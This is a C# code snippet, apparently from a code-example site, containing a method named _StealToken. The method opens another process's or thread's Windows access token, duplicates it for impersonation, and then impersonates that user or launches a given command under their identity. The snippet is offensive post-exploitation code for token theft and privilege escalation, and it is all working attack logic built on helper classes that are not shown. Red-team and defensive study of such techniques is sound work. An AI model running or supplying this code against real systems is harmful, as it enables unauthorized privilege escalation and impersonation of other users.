Beispiel #1
0
        ////////////////////////////////////////////////////////////////////////////////
        //
        ////////////////////////////////////////////////////////////////////////////////
        private static bool _StealToken(CommandLineParsing cLP, IntPtr hToken)
        {
            using (TokenManipulation t = new TokenManipulation(hToken))
            {
                if (string.IsNullOrWhiteSpace(cLP.Command))
                {
                    if (0 != cLP.ProcessID && t.OpenProcessToken(cLP.ProcessID))
                    {
                        t.SetWorkingTokenToRemote();
                    }
                    else if (0 != cLP.ThreadID && t.OpenThreadToken((uint)cLP.ThreadID, Winnt.TOKEN_ALL_ACCESS))
                    {
                        t.SetWorkingTokenToThreadToken();
                    }
                    else
                    {
                        Console.WriteLine("[-] Process or Thread ID not Specified");
                        return(false);
                    }

                    if (t.ImpersonateUser())
                    {
                        return(true);
                    }
                }
                else
                {
                    if (0 != cLP.ProcessID && t.OpenProcessToken(cLP.ProcessID))
                    {
                        t.SetWorkingTokenToRemote();
                        if (!t.DuplicateToken(Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation))
                        {
                            return(false);
                        }
                        t.SetWorkingTokenToNewToken();
                    }
                    else if (0 != cLP.ThreadID && t.OpenThreadToken((uint)cLP.ThreadID, Winnt.TOKEN_ALL_ACCESS))
                    {
                        t.SetWorkingTokenToThreadToken();
                    }
                    else
                    {
                        Console.WriteLine("[-] Process or Thread ID not Specified");
                        return(false);
                    }

                    if (t.StartProcessAsUser(cLP.Command))
                    {
                        return(true);
                    }
                }
                return(false);
            }
        }